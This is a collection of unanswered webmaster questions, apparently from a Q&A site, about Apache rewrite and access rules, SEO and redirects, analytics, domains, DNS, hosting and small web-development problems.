How can I block a user agent from all sites on my server?

For the last few days, I've been suffering from what appears to be a (presumably inadvertent) DDOS attack. I've been getting so many requests from an agent identifying as "Mozilla/4.0 (compatible; ICS)" that apache eats through all the available memory. Consequently, I'd like to block all requests accompanied by this user agent, so I tried doing this in httpd.conf:               SetEnvIfNoCase User-Agent "Mozilla/4.0 (compatible; ICS)" bad_user     Deny from env=bad_user      But when I restart apache it complains about using `deny` here. Without having to wrap it in a `location` or `directory` block, which would mean I'd have to add a new block for each site, is there any way I can deny access to the whole server? * * * UPDATE: The error I get >   * Restarting web server apache2   >  Syntax error on line 4 of /etc/apache2/httpd.conf: deny not allowed here > [fail] >


Redirect Everything After slash (/) to another directory

I'm sure this is an easy thing to do but I can't seem to find the answer! I'm trying to redirect `https://carddav.example.com/MYUSERNAME` to `https://carddav.example.com/remote.php/subdomain/addressbooks/MYUSERNAME/contacts` where MYUSERNAME can be anything. The current RewriteRule I have attempted looks like:               RewriteRule ^/(.*)$ https://carddav.example.com/remote.php/carddav/addressbooks/$1/contacts/ [R=301]


How to add a remote file to .htaccess file for webcaching?

I have the following code in my _.htaccess_ file that caches several file extension types:               ## EXPIRES CACHING ##     <IfModule mod_expires.c>     ExpiresActive On     ExpiresByType image/jpg "access 1 year"     ExpiresByType image/jpeg "access 1 year"     ExpiresByType image/gif "access 1 year"     ExpiresByType image/png "access 1 year"     ExpiresByType text/css "access 1 month"     ExpiresByType text/html "access 1 month"     ExpiresByType application/pdf "access 1 month"     ExpiresByType text/x-javascript "access 1 month"     ExpiresByType application/x-shockwave-flash "access 1 month"     ExpiresByType image/x-icon "access 1 year"     ExpiresDefault "access 1 month"     </IfModule>     ## EXPIRES CACHING ##      I would like to add a remote file to the list `www.example.com/js/jqueryvalid.js`... Is this possible?


Can a mobile version of site be considered duplication by Google if the page is the same only the css is different?

Hearing about the problems with mobile browser detection I plan to add a button to my site which enables the users to switch manually between normal/mobile version of the site. The button sets a cookie and reloads the page and the PHP code on the server side seeing the cookie serves exactly the same page with only the CSS link pointing to the mobile stylesheet file. I heard Google is able to follow javascript code too, so it may "push" the button and sees the mobile version of the site. Wouldn't it confuse Google that it sees exactly the same page (same URL, same content) with only a the CSS link replaced? Wouldn't it consider it duplicate content?


Should I index my mobile duplicate of my desktop website on google?

> **Possible Duplicate:**   >  Can a mobile version of site be considered duplication by Google if the > page is the same only the css is different? I have a duplicate of http://he.thenamestork.com with the url http://he.thenamestork.com/mobile - all files are duplicated while the mobile version has a slightly different content. Notice that when I write 'mobile' I only mean regular HTML4 with smartphone friendly CSS. I have a series of redirects (using .htaccess) that allows smartphone users land directly on the mobile versions. But I wonder, shound I index the mobile version as well so those users will be able to get direct, faster links? And what is the proper way of doing that without causing problem in google search? I guess I'm asking if there's a way to get google display regular urls for desktop users and ../mobile/.. urls for smartphone users, and if it is smart SEOwise.


Canonical url homepage

I have a mini-website that has one unique webpage that talks about a product. The current existing links for this website are:               www.example.com     www.example.com/keywords-important-for-webpage      Both pages show the same content, only the second page has a better URL. I want Google to index and show my link with keywords in the search-results instead of the homepage. So I added a canonical ref. on the homepage that redirects to the other page with a better URL-structure. But now, Google has indexed the homepage but not the URL with the keywords. So exactly the opposite of what I wanted. Is it not possible to add a canonical URL to the homepage? If it is, what could be the problem?


How to track pixel density with Google Tag Manager

I originally had it setup like How to see pixel density (Retina) in Google Analytics? with Universal Analytics by setting custom demisions. However, we recently had to switch to tag manager. Currently a bit lost on how to replicate the same actions as before. Can anyone provide insight or a tutorial as how to set this in GTM?


How do I implement "share on Twitter" for photos on my website?

I have a "share on Twitter" button on my website that allows users to easily share a tweet with the web page. The page features a photo, and we would really like to have users tweet the photo itself out. Is it possible to build "tweet this photo" functionality from my website? If I fill the image URL into the tweet, Twitter shows a link to the image, but not the image itself. Users can upload photo to twitter that get shown fully in Twitter.


DNS mistake. Google crawled the wrong server. What to do?

# Problem Exists Between Keyboard And Chair I have a couple of similar looking domains on Coudflare where I manage their DNS. An old forum and my new still MVP site. As many of you may have experienced, Cloudflare moves around the order of the domains on the websites list based on use, with the last one you edited always on top. Based on use my MVP site has been on top for a few months now, but recently I've been making some changes to the forums as well. Well what happens is that at one point I inadvertently rely on my spacial-memory to click on the edit button, and changed the IP of the wrong site! # The aftermath I managed to change the A record for the MVP site that is currently live to point to the forum's server. I didn't realize the mistake until I received an email from Webmaster tools telling me of all the errors on my new site so Google ended up crawling the forum which was now being served under my MVP's domain name. Google now thinks my new MVP domain name has a completely different structure. # What can be done? I have since fixed the DNS issue. But now I am wondering if I have permanently ruined my new site's Google ranking with this mistake.   * What problems have I created for my new site as far as SEO and Google Ranking?   * Can anything be done to curb/fix them?


Best alternative to Adsense for a small website?

The accepted answer to this question states that Adsense functions rather poorly. What is the alternative then? My site has about 400 daily visitors, 1.5 pages/visit - so I'm too small to manually approach any sponsor for an personal ad deal. What AdSense would work best? By 'best' I mostly mean "make the most money", although usability is also a factor.


Any tool to change words position in a text?

I'm looking for a tool that can change words position in a text. It's something like an article spinner, but without changing the words to synonymous. An example: Original text: I love eating apples and drinking orange juice, it's delicious. * * * Shuffled text: It's delicious, I love drinking orange juice and eating apples.


List all domain names that were created on a specific date

Is it possible to list all domain names that were created on a specific date? I have the "create date" field and the registrar. Edit: Why my question was migrated to "Webmasters"?   This is totally unrelated to "Webmasters"...


webhosting with IP access

I'm using a shared webhosting service but I can't access my website using http://ip.ad.dre.sse of the website, I have activated a dedicated IP service but the problem has not been solved. What do you suggest to solve this problem? I need to have IP based access because I'm using a GPS that could be configured only by the server IP (not URL). Any advice will be very helpful. ** edit ** Thanks a lot for your answers, my hosting provider has solved the problem of ip based access. Regarding the dedicated ip service - it is not free, it costs 5 euros, and it could be activated with free account.


How will search engine find out if content of dynamic sites are changing?

I have site with few hundred blog posts and few thousand dynamic pages. If I create a sitemap.xml for dynamic pages , google does not crawl and index it. reason - they are not linked to each other and from other pages. The data on each dynamic page gets updated every few weeks. If I create link from home page and then link these pages from inner pages, search engine can crawl them. How will the search engine figure out if the content has changed after few weeks in absence of sitemap.xml for these dynamic pages?. I use sitemap.xml for blog content but not for dynamic pages.


Geographic location settings

I am building an website. It has an .nl domain. Now only my domain is showing up on google.nl I hope I can change this somehow that it could be findable in all google's (like google.com / co.uk) and so on. If I look on google forums. They say go to webmaster tools and change your geographic position over there. But I have added this site and I am not able to change it there because there is no select box. I dont have any idea were to search (yes I searched on google offcourse) or where to ask for this special problem. So maybe here can someone redirect me or explain me what is possible and what not. The question is can I make an .nl domain findable in (almost) all google search sites? And so on how can I do that. Picture of my google webmaster tools (nl): http://i.stack.imgur.com/ZuP4L.png


Are there other mailloop like software?

I used to use mailloop to do mass mailing and I am happy. Now it's no longer supported. What other program we can use to send mass mail? I also need autoresponder, series autoresponder (people sign up and get 5 email 1 day each). Any other thing like that? Basically I need software that:   1. Capture user's email and their first name   2. Send mail merge to those users   3. Support auto responder Should I just use mail chimp service?


One domain and multiple website in folders

I am going to create a network with one domain, e.g. `example.com` then going to manage my websites in **folders**. Look below for example:               www.example.com/market     www.example.com/freebies     www.example.com/personalblog     www.example.com/shop      Consider that all four websites have different design and codes. From SEO perspective, is it recommended or I should use **subdomains** or buy **four domains** for each website?


Stop directory listing using .htaccess and redirect to good error page

I have a directory with several sub directories. I found this article Preventing Directory Listing that shows me how to prevent people from getting the directory listings.               IndexIgnore *      But it produces a bad error page, (it looks like an empty directory listing). Instead I would like to redirect the user to a page or show a better error page when they try to view the directory listings of a sub directory. I am using Apache


When I am root, "mysql" connects without a password, even though I've set one:               # mysqladmin -u root password 'whatever'     # mysql -u root -p     Enter password: (typing the 'whatever' above)     Welcome to the MySQL monitor.  Commands end with ; or \g.     Your MySQL connection id is 4 to server version: 4.1.22-standard          Type 'help;' or '\h' for help. Type '\c' to clear the buffer.          mysql> Bye      but unfortunately this also happens...               # mysql -u root      Welcome to the MySQL monitor.  Commands end with ; or \g.     Your MySQL connection id is 25 to server version: 4.1.22-standard          Type 'help;' or '\h' for help. Type '\c' to clear the buffer.          mysql>       So even though I've set the password, and it IS checked when I use "-p", it is however not necessary!?!?


Will not supporting IE or older browsers drive away potential visitors/users of my site?

Normally a SO browser but this question doesn't fit there, hopefully it fits here. I just want to ask from web designers' point of view if it's wrong to not care about supporting Internet Explorer or older browsers. The site I'm designing looks great in all browsers except IE9-. There are certain things that IE doesn't support or behave like other browsers; webkit stuff, some CSS styles, drop-and-drop files from OS etc etc, but it all works great in Safari, FireFox, Chrome etc. Should I be that concerned? I know there are several people that use IE, but it's limitations have just been causing me more work by having to come up with workarounds. From what I've read, many of the issues I've been having should be solved with IE10, but not everybody keeps up to date. I know of several people who are still using IE6! Again, I'm hoping this is the right place to ask a question like this, and if not, please point me to the right stack exchange site instead of just downvoting me. Thanks! EDIT: Upon further research.... So far this year, IE(all versions) and Chrome have been neck and neck as the top, with IE only squeaking by Chrome, and FireFox a close 3rd. But looking at the top 10 browsers, IE6 doesn't even show up on this list in which the lowest percentage is 1.92%. Source : http://www.w3counter.com/globalstats.php?year=2012&month=7 Having a look at this other site, IE6 shows up in 11th place out of 12, just before "Other" http://www.sitepoint.com/browser-trends-february-2012/ This makes me a little more wary of not spending more time on IE compatibility. However, my site will not be going to a live beta until October or November, and I'm hoping that IE10 will have more features coded into it. Currently, I've written my upload page which is a "drag-and-drop files from the OS" type to simply display "IE is not supported", leaving no other option for IE users to upload pictures because I've spent so much time writing the uploader which does many things other than just upload the files. I will be changing this kinda cold "Access Denied" to a suggestion to upgrade, or install other browsers, with download links for each. Big thanks for the posts here and the interesting links!


Google analytics shows wrong number of page views, asp.net website

Sometimes it can be for example 4500 requests, after a few hours it shows a few thousand less. What is wrong? It looks like analytics corrects itself. I changed from classic to Universal a few months ago, do not know if it has anything to do with this. In masterpage:               <script>                 (function (i, s, o, g, r, a, m) {                     i['GoogleAnalyticsObject'] = r; i[r] = i[r] || function () {                         (i[r].q = i[r].q || []).push(arguments)                     }, i[r].l = 1 * new Date(); a = s.createElement(o),                     m = s.getElementsByTagName(o)[0]; a.async = 1; a.src = g; m.parentNode.insertBefore(a, m)                 })(window, document, 'script', '//www.google-analytics.com/analytics.js', 'ga');                      ga('create', 'UA-xxxxxxxx-1', 'xxxxx.se');                 ga('send', 'pageview');              </script>


If I have only WOFF and EOT, what browsers am I supporting with @font-face?

We're looking at buying a font which only allows its use on the web in the provided formats: WOFF and EOT. I'm not sure what browsers those work in and can't seem to find up to date information. What browsers can I suport with just those two? My only experience is with fontspring's syntax which has EOT, WOFF, TTF and SVG.


Worth changing the URL structure to incorporate keywords?

I am migrating my blog from PHP to ASP.NET and while recoding the whole website, I figured I might as well improve the URL structure. This is how an url looks like now: **example.com/blog/post/755/hakurei-reimu-cosplay-from-touhou-by-kishigami- hana** and this is hould it will look after the change (cosplay being the dynamic main keyword of the post): **example.com/blog/cosplay/hakurei-reimu-cosplay-from-touhou-by-kishigami- hana-755/** The website is a bit more than a half year old and receives around 650k page views a month, mainly from search traffic. Of course everything would be redirected with 301 redirects. Do you think it is worth changing to a new URL structure, or will it harm the ranking in the long run?


Legal information on a website

I'm in the process of re-developing my website. We're currently a non-monetary website, funded entirely by ourselves, but we'd like to start earning some money from adverts and possibly paid content. We are a UK-based fishkeeping website (although we've had visitors from every single country in the world if you believe our Google Analytics!) with tropical fish species profiles, a Question & Answers section (similar to SE) and a discussion forum. The species profiles are written by our own author, appropriately referenced to scientific journals etc (though it's all our own prose). We also use images from photographers with their express permission and as such copyright all of our images with the copyright symbol and their name or chosen brand. **What I'd like to know is this** : In terms of privacy and legal "blurb", what information should we be displaying to our users? Do we need to protect ourselves in any way? Users will be able to register an account then post comments, questions, answers and topics. What information do we need to display in terms of Copyright? Thanks in advance,


SMS ad service for a PHP app

I am about to launch a website that allows the end user to get alerted as their bus approches the stop. The only problem was this is a little expensive as I'm paying about 5 cents per alert. I was thinking that if I added a short message something like "brought to you by acme co" at the end of the message I may be able to recoup cost without making my service a paid one. Anyone know of any SMS ad companies or how one would go about finding one. Google has failed me, probably searching for the wrong thing.


Need common platform: Wiki, Article, Forum, Quiz, News & a global dashboard

I am looking for a application to install in my server having the following features:'   1. A global dashboard   2. Wiki   3. Article   4. Forum   5. Quiz   6. Newsleter (Optional)   7. Q/A (Optional) I already found a application: TWiki, but looking for a better alternative.


If I have mobile app and google ads in each page. (according to pay per view method) Is google pays for each time the user navigate and new ads appear? Thanks.


Why is this GIF's animation speed different in Firefox vs. IE?

Oracle Enterprise Manager has a web interface that uses this GIF: ![Oracle Enterprise Manager](http://i.stack.imgur.com/gYwDk.gif) The odd thing about this GIF is that in Firefox (v9&10) it spins about twice as fast as in MSIE (v7&9). **Why does the animation speed change depending on the browser?**


Intentional placing of text in clipboard

By intentional I mean the user is actively clicking a button or performing an action that leads to certain text being places in their clipboard. As far as I know the only solution to this is Zero Clipboard, but I feel like it's not accepted as a good solution since it uses flash. Are there any alternatives if I want to allow users to copy specific text information at the click of a button?


How to rotate html5 canvas as page background?

I want to achieve the following: Image a white sheet of paper on a black desk. Then rotate the paper a little bit to the left (like, 25 degrees). Now you still have the black desk, and a rotated white box on it. In this rotated white box I want to place non-rotated normal html content like text, tables, div's etc. I already have a problem at the very first step: rotating a rectangle. This is my code so far:               <html>     <head>     <script>     function draw() {      var canvas=document.getElementById("myCanvas");      var c=canvas.getContext("2d");           c.fillStyle     = '#00';      c.fillRect(100, 100, 100, 100);      c.rotate(20);       c.fillStyle     = '#ff0000';      c.fillRect(150, 150, 10, 10);           }     </script>     </head>     <body onload="draw()">      <canvas id="myCanvas" width="500" height="500"></canvas>     </body>     </html>      With this, I see only a normal black box. Nothing else. I assume there should be a red, rotated box too, but there's nothing. What is the best approach to reach this and to have it as a (scaling) background for my web page?


How to retrieve an image from MySQL database and display the image as background on body?

How do I retrieve an image from MySQL database (I know how to display image by retrieving from database but here i want to display differently) i.e. display the image as background on body and image should repeat as if css repeat statement is used - the very same as on twitter.com. I want to display an image on background (by using CSS repeat thing) the same way as on twitter but the problem is that I am retrieving it from a MySQL database and CSS cannot handle src tag on background. I am very new to this and have been trying to solve this problem for 6 hrs but still it is not sorted out so please help. My code is PHP and MySQL (please tell me how to get URL for this image from the database and if I have to use CSS repeat)?


How to get Google to crawl AJAX pages without using #!  URLs?

In Google's advice on "Making AJAX Applications Crawlable", they advise making AJAX URLs that aren't using hash-bang fragments (#!) crawlable by adding `<meta name="fragment" content="!">` to the page `<head>`. Has anyone had success with this? I can't find Googlebot taking HTML snapshots of the pages when using 'Fetch as Googlebot' in Webmaster Tools.


Which special characters, if used in <title> tags, will be visible in Google SERPs?

Seems like Google doesn't display some special characters if they are used in `<title></title>`. What are the characters that will be visible in SERPs for site titles?


Web Development Environment: How to distribute edited hosts files over bunch of mac machines?

I am doing some research to prepare some web development environment for our small(10ppl and growing) new office. User Case: For each new web project usually we create new alias on an Apache server someproject.companywebsite From my understanding in order to see this website locally for all the rest of our team(including mangers and directors) they will need to edit hosts file (e.g. "192.168.1.10 someproject.companywebsite"), and like that each time for a new project(can be 2-5 each week) Solution: And I looking for a solution how to edit this hosts file only once and distribute it over all mac machines in our network at once or much more flawlessly than poking around with each machine every time over and over again. Is that possible? Or that a very wrong way of doing that? Perhaps we better set up own local dns server and point to it our router? Though own dns server a bit concerns me because of might be some network interruption and others lags, if you know what I mean. Or perhaps there are another workflows for that? What's the best way for such things? So I'll be so grateful to hear some advices from experienced admins. I couldn't find that info on internet, so if you know where to read about it, point me in a right direction. Thank you in advance Alex


Can randomly-generated field names help avoid SPAM bots?

If I were to generate my field names randomly each time a contact form was rendered, would that help prevent SPAM bots from recognizing the fields? Can they read label text?


Is the idea of user registration flawed if we can't provide any real value for it?

I work in a newspaper publishing company and currently, all the contents in our site is free and no user registration is required. Recently, the lifestyle column team proposed to implement a small and simple portal where viewers can make simple suggestions as to where to dine. The team then suggested to implement a simple user registration; asking for name, email and password. Or if they do not want to register for an account; they can login with their Facebook account. This is so that they could keep track of who suggested what. However, I think this is counter-productive as we don't really provide any value in return. As the team said, they just want to keep it really simple. There will be no user control panel and they won't be doing anything with the user data such as sending promotional newsletter etc. As such is it really feasible to implement a user registration in situations like these?


Transition to new site

I'm almost finished rewriting the website for a non-profit organization. The existing site receives ~5,000 a month. The new site is being written in ASP.Net and the existing site is PHP. The current hosting provider does not support .Net hosting, so I'll be switching providers. My question revolves around the transition from the old site to the new. I would really like to get the new site up at the new hosting provider and do thorough testing before changing the DNS records for the domain. **Question:** How can I put the new site up, test it, make any changes/additions necessary before updating the domain DNS to point to the new IP **without** Google indexing the content? Also, what SEO repercussions should I be aware of when making such a drastic change to the content that exists under the domain name?


Blogspot as a simple CMS

Blogger/Blogspot recently released a new version of their software. This new version appears to have features relevant to a simple CMS (static page, albeit limited). I read from their Buzz Blog about a few websites that don't necessarily look like a typical Blogspot blog but rather somewhat a typical website deployed using a minimal CMS software: http://buzz.blogger.com/2011/07/you-can-do-some-amazing-things-with.html Can anyone point resources where I can learn how to do these? (Preferably case-studies with some steps how to create such website as oppose to Blogger HOWTO). Plus point if you can also tell me the infrastructure of Blogger.com (software stack, etc). Thanks


Tracking state of a one time event on a big website

Assume a website with 250 million active users. I add a new feature to the website. Once a user visits I want to use a short tutorial to teach them how to use said feature. I only want them to complete the tutorial once (or actively click it away). What is the smart way to code the verification check for this? How do I track the progress in the database? Having a separate table with like NewTutorial_completed = 1 for user_id = 21312315 would just snowball. It also feels intuitively bad to check for every one-time event for every user on every page view. While writing the question I got one idea, to have a separate event log that is checked periodically for any new action the user need to see or perform. I push events to this log and once they are completed they are removed from the log. No need to store NewTutorial_completed = 1-type variables this way. I am sure this is a common problem. I would appreciate any input on what best practice is.


Impossible referrers

I'm tracking webpage referrers. Sometimes I see russian (or other languages) blogs as referrer, which cover other subjects. Googling "site:http://myrussianblog.ru mywebsite" returns nothing. I don't use advertising systems. What these referrer mean? I know that referrer field can be changed.. but why?


Make all subdomains load the same page, how is it called/done?

Is there a way to make all subdomains show the same page. I got the idea somewhere you could have a page like idk information.com and if an user typed miami.information.com he would get information from that city. Is there a way to do it? Like making the site retrieve the first part of the subdomain and search it on the site.


Google Instant Preview (Image) - What screen dimension? e.g 1024x768?

I'm wondering what screen dimensions Google Instant Preview takes a snapshot of your website at e.g 1024px x 768px...? http://sites.google.com/site/webmasterhelpforum/en/faq-instant-previews FYI: I'm building a "responsive design" layout. Wonder if others like Yahoo or Bing take screenshots? And what dimensions they too use...


Server-infrastructure recommendations

Here's the thing: I need a cheap, fast, reliable infrastructure that can dynamically scale (like Amazon S3: cloud-storage). I'm thinking of 3 different type of 'servers'.   1. Application-server     * Should be able to run CentOS (or another light Linux-distr.)     * Should be able to run Apache     * Should be able to run PHP     * Should be able to run GD (so it does rely on it's cpu).     * Should be _extremely_ reliable and fast.   2. Database-server     * Should be able to run MySQL     * Should be able to... well, do nothing else :P.     * Should be _extremely_ reliable and fast.   3. Storage-server     * Should be able to run some kind of file-transfer-deamon (like FTP, CouchDB, etc.)     * Should be able to do nothing else.     * Should be _extremely_ reliable and fast. So technically, by transferring all static data to 2 different servers/services, the application-server can totally focus on the webpages. My questions:   * What services do you recommend?   * Which is cheaper, faster and more reliable: using my own server, or using some cloud-storage/cloud-computing-service (like Amazon S3, CloudFiles, etc.)?   * How can I prevent bandwidth abuse (such as dos-attacks causing the bill to be extremely high)?   * What's the difference between "including CDN" and "excluding CDN"? It seems the price doesn't differ at CloudFiles?   * Do you have to pay "including CDN" + "excluding CDN" when you decide to enable the delivery-network? Or have you only got to pay "including CDN"?   * Should I use my own nameserver too or can I use my domain-hoster's nameservers? What are the minimum software specifications of a nameserver. Can I write some software myself? Does anyone have a good protocol-description? I hope you can answer my questions. **Answers**   * I shouldn't write my own nameserver-software. Instead, I should use something like bind. (http://osspro.com/2010/05/04/linux-create-your-own-domain-name-server-dns/).


Google maps for a mobile site

We have a website that uses the Google Maps static maps functionality to embed maps into pages. This works with no problem; we just use something like this:               <img src="http://maps.google.com/maps/api/staticmap?zoom=15&size=512x512&maptype=roadmap&markers=color:red|label:H|42.038322,-87.680260&sensor=false" />      We are now creating a mobile site for the same client. The code itself will still work, but I'm wondering how to make sure I get a map that doesn't take over the entire screen, but is still readable. Is there a standard size that's used for mobile screens? I'm guessing with the static maps there's no way for a user to click to zoom in if we use a small size, but the regular API requires javascript and a lot of mobile browsers still don't support it. Any ideas?


How long can I expect to wait before a DNS name is transferred to a new server?

I need to know how long it should take to transfer my domain name from one server to another. I have a domain name and I am trying to transfer it but one of the local companies said that I can't transfer in less than 2 months with them.


get mysql_real_escape is giving me errors when I try and add security to my website

I tried doing this:               @ $db = new myConnectDB();               $beerName = mysql_real_escape_string($beerName);     $beerID = mysql_real_escape_string($beerID);     $brewery = mysql_real_escape_string($brewery);     $style = mysql_real_escape_string($style);     $userID = mysql_real_escape_string($userID);     $abv = mysql_real_escape_string($abv);     $ibu = mysql_real_escape_string($ibu);     $breweryID = mysql_real_escape_string($breweryID);     $icon = mysql_real_escape_string($icon);      I get this error: Warning: mysql_real_escape_string() [function.mysql-real-escape-string]: Access denied for user


Major SEO Pitfalls of JavaScript loaded CSS?

Looking to start with a basic.css and have JavaScript load enhanced.css when JavaScript is ebabled. What major negatives will this have for Search Engines indexing and ranking my site?


godaddy domains, no bids, should I wait for expire?

I'm interested in a godaddy domain name that's on auction. The domain name has no bids on it. Should I wait for the auction to end and then buy it afterwards or should I bid in the auction? Basically the question is, will the domain still be available to buy after the auction ends?


Incorrect Google Profile Results

Where do Google gets the info they display along with your profile in their "Profile Results" that is shown once you hit search for a particular person? When Google shows incorrect info, there's a feedback option at the bottom and it gives you an option to report a problem on which info is wrong. However, this is a tedious task since I've already done this before and they have corrected it but then when I search again after a couple of months, wrong info is shown again. So maybe I need to correct or do something on the process of putting those info into the profile... Not sure where Google gets all these info.. Help?


Where is a good place for non-technical people to register domain names?

I run a couple of websites and I have several domain names. I struggle to recommend a place for non-technical "civilians" to register a domain name though. The first service I ever used was GoDaddy, which seems to be focused on less technical customers, but the experience is just so terrible. The sales process goes all out to load up customers with a dozen things they don't need. These days I just use one my current hosting providers. So as webmasters, where do you send your non-technical friends to register domain names? Is there a nice, simple, friendly service out there?


Registering .ne for non-residents

AFAIK it's hard to register one if you aren't resident. Are there registers which can pre-register for me .ne (like NetworkSolutions does for .eu)?


How to crawl a webPage with dynamic content added by javascript

I guess there is a news that Google bots have the capability to understand our javascript code. It means this is possible to fully crawl a webpage which has lazy loading feature enabled. I am using Apache Nutch to crawl websites but I don't think it has the capability to fetch the URLs being injected in HTML page by javascript when the page is scrolled down. I see a lot of websites doing lazy loading for performance issue. So Can somebody please explain me how can i crawl the data which comes in HTML page on lazy load. (On scrolling the page down).


Images on my site contain wp-content/uploads/ in the URL, how do I change this?

When ever you click on an image in my site it displays www.sitename.com/wp- content/uploads/date/image.jpg. How do I change this to something like www.sitename.com/image.jpg or www.sitename.com/post/image.jpg?


Installshield in VS2012 and deployment of web application in IIS7.5

I deployed a web application in IIS 7.5 using _installshield_. But after deploying the site I am facing below error on accessing the site from URL.               HTTP Error 403.14 - Forbidden The Web server is configured to not list the contents of this directory.      Possible causes: A default document is not configured for the requested URL, and directory browsing is not enabled on the server. I also specified default document as one of `.cshtml` file in my project and make directory browsing enable. But still I am facing same error.


Can we preserve our old domains Pagerank but cut all ties with the old domain such that it doesn't redirect?

Here's the situation - a client of mine has recently changed their company name and have changed their web address. They want to completely cut all ties with their old brand, so they have told me that their old website absolutely _cannot_ redirect to the new one. The old domain has a PR of 4, so it would be nice to carry some of that authority over to the new domain. The new domain has just been registered so I'm really starting over from scratch in terms of SEO. I can't use 301 redirects and I can't link to the new site from the old one. Is there anything I can do?


Multiple 301 redirect and massive loss of ranking

I just remade from scratch a website for a client, the client ask me to preserve their ranking by making 301 redirect from the original URL to the new URL. For example the following URL: `plumber-directory.my-website.com/john-smith-city-1.php` became `directory.my-website.com/plumber/city/john-smith.html` So i put the website online for few days until the 301 partially kicks in the Google results. Then the client call me back to tell me that his boss want to switch back to the ancients URLs >_< So I put a new 301 redirect: `directory.my-website.com/plumber/city/john-smith.html` Reverted to `plumber-directory.my-website.com/john-smith-city-1.php` Because google had just few days to assimilate the new URLs, it have now the two kinds of URLs in it's own result pages. Also the ranking of the website keeps falling down every day, i suspect google to mistaking those redirects for duplicate content. Is there something i can do to avoid a total loss of rankings?


How do I prevent spam in a vBulletin forum?

I'm using vBulletin 4.0.8 and I'm receiving spams every day. I used reCaptcha method to avoid spamming but the problem still persists. What should I do?


URI design for many-to-many relationship: advice needed

I'm stuck designing URIs for a many-to-many relationship between users and other resources. Specifically I'm having difficulty predicting the consequences of different approaches. Given a resources types `user` and `widget` (`user` represents a registered user), authenticated (logged-in) users have write access to all widgets and guests have read access. The user-widget relation also has data (eg. number of edits) which ideally should also be readable (thus _addressable_ ) by guests (and, as Lèse points out below, other users). Examples use integers for unique identifiers for the sake of clarity. Guests can view widget #12 at               /widgets/12      What are the implications of various possible URIs for authenticated user #34 to read/write widget #12, and optionally for a guest to read the relational data between the two? (Don't worry about giving a comprehensive answer, any observations for or against specific options would also be very valuable).               /widgets/12      (user is implicit based on authentication, no way for guest to specify user- widget relation)               /users/34/widgets/12      (both sides of the relation explicit, implicit hierarchy between resources)               /users/34/widgets/12 and /widgets/12/users/34      (same, without hierarchy)               /user-widget/34,12      (relation as resource, explicit but possibly more than the user needs to know) * * * I'm happy to give more detail or add other people's URI suggestions. Just comment if you want me to add anything.


Rewrite rule for friendly URLs to index.php is not working from htaccess

Trying to get SEO Friendly URLs to work for my website using the following htaccess:               RewriteBase /     RewriteCond %{REQUEST_FILENAME} !-l     RewriteCond %{REQUEST_FILENAME} !-f     RewriteCond %{REQUEST_FILENAME} !-d     RewriteRule ^explore/(.*)$ index.php?page=explore&type=$1     RewriteRule ^(.*)$ index.php?page=$1      E.g. it should load `/index.php?page=test` for `/test/` and `/index.php?page=explore&type=1` for `/explore/1`. However it's not working, does anyone know how I could get this to work?


Option to save project files for later use in Dreamweaver?

Does anyone know of an extension or other way to allow me to save a set of files in a project for later use? Example: - Working on site A, opened html files A1-A15 (15 files)   * Received a request to work on site B, new files (number unimportant).   * I would like DW to remember that I was working on files A1-A15.   * Close the site A files and focus on just files from site B.   * Complete site B work.   * Reopen site A files altogether. Suggestions are greatly appreciated. Thanks!


Our "Contact Us" page is outperforming our "Home" page on Google

We're looking at how our website is performing in Google and noticing that our "contact us" page is outperforming our "homepage" for a typical search which is product+geography.               widgets dallas     widget makers dallas     widget shop texas      The reason being that the "contact us" page has the "dallas" & "texas" in our address more prominently in its text. So Google is being perfectly logical in showing this page as a priority. But the "contact us" page is far from the best page for our new customer to stumble on. It's not a _bad_ page, it's just not the best page for a new visitor to come to _first_. Our homepage is where to find our best stuff. Is there a correct solution to this problem? The obvious solution of stuffing more geographic keywords into our homepage feels a bit dirty (and anti- Google). Equally, making the "contact us" page more like our homepage is nonsensical. We don't want to detract from its job of providing "contact us" information to people who really need it, a job which it's currently doing fine.


Why do I get this error about file not being found?

I am getting this error: `File does not exist: /var/www/user/home/user/public_html/cgi-sys` I have only .html files in the document root. Can anyone tell why I am getting this error?


Does URL encoding create duplicate content?

An SEO expert was testing my site, and noticed that my URLs contained the special character `:`. He said that would create duplicate content, because google would interpret any url containing `:` as two separate URLs: one with `:` and one with `%3A`. Is he right?


Is there a search engine that indexes source code of a web-page?

I need to search the web for sites that are in our industry that use the same Adwords management company, to ensure that the said company is not violating our contract, as they have been accused of doing. They use a tracking code in the template of every page which has a certain domain in the URL, and I'm wondering if it's possible "Google" the source code using some bot that crawls the code rather than the content? For example, I bought an unlimited license for an image gallery, and I was asked to type the license number in a comment just before the script. I thought it was just so a human could look at the source and find out if someone paid, but it turned out that it was actually that they had a crawler looking for their source code and that comment. If it ran across the code on your site, it would look for the comment, and if it found one, it would check to see if it was an existing one. If not, it would first notify you of your noncompliance, and then notify the owner of the script. **Edit:** I'm looking to index HTML and JavaScript only, not the server-side languages or Java.


Does content with few words and lots of Anchor text count as spam?

My website has been getting inbound links from an article which contains a low word count but lots of anchor text. That paragraph contains 150 words but nearly 15 are anchor text. Will that have an affect my site's ranking?


How necessary is it to use HTML5 now on websites?

I have been working upon a wordpress theme and almost done with it, but recently I got to learn some of the new HTML5 tags such as `<header>`, `<footer>`, `<article>` etc etc. I have a doubt whether I should re-modify my pages in accordance with HTML5 or not? I mean is it a good practice now to code in HTML5 or I should continue using the older HTML code until HTML5 is completely out in the market! Please guide. For now I am just thinking of implementing the basic HTML5 tags such as `<header>`, `<article>` and `<footer>` and meta tags format.


How to write good blog post tags

It seems that you have three choices in deciding how you write tags for your blog posts:   1. Make them user friendly   2. Make them highly searchable   3. Combo of the two For example, let's say that I have a blog post that has write-ups on the top 10 ipad apps for business travel (e.g., Evernote, Dragon Diction, Instapaper, etc.).   1. _User friendly tags:_ ipad apps, business travel   2. _Searchable keywords (analyzed with Google Keyword Analyzer):_ ipad apps, ipad travel apps, evernote ipad, instapaper, instapaper ipad   3. _Combo:_ ipad apps, ipad travel apps So my question comes down to this: which is really the best choice -- 1, 2 or 3? Note: this visible post tags will also serve as the meta keywords for the post page.


How to tell Google that I have changed my website URLs?

I have done major updates to my website, and renamed all my URLs. How can I tell Google that I have renamed these URLs and let Google refresh its index? **My website URL** : `http://www.pndmasr.com/`   **My sitemap** : `http://www.pndmasr.com/sitemap.xml` I have uploaded my sitemap via Google Webmaster Tools many times. However, every time I search Google for "pndmasr", I still get results with old pages. I have waited more than 3 days but the problem remains. Any suggestions? Is there a problem with my sitemap?


How to redirect all links to new site with same domain & same content?

Is the same domain but i change url structure and website platform and is important to save all traffic from old links.


How to redirect old page link to new link when using new CMS for website

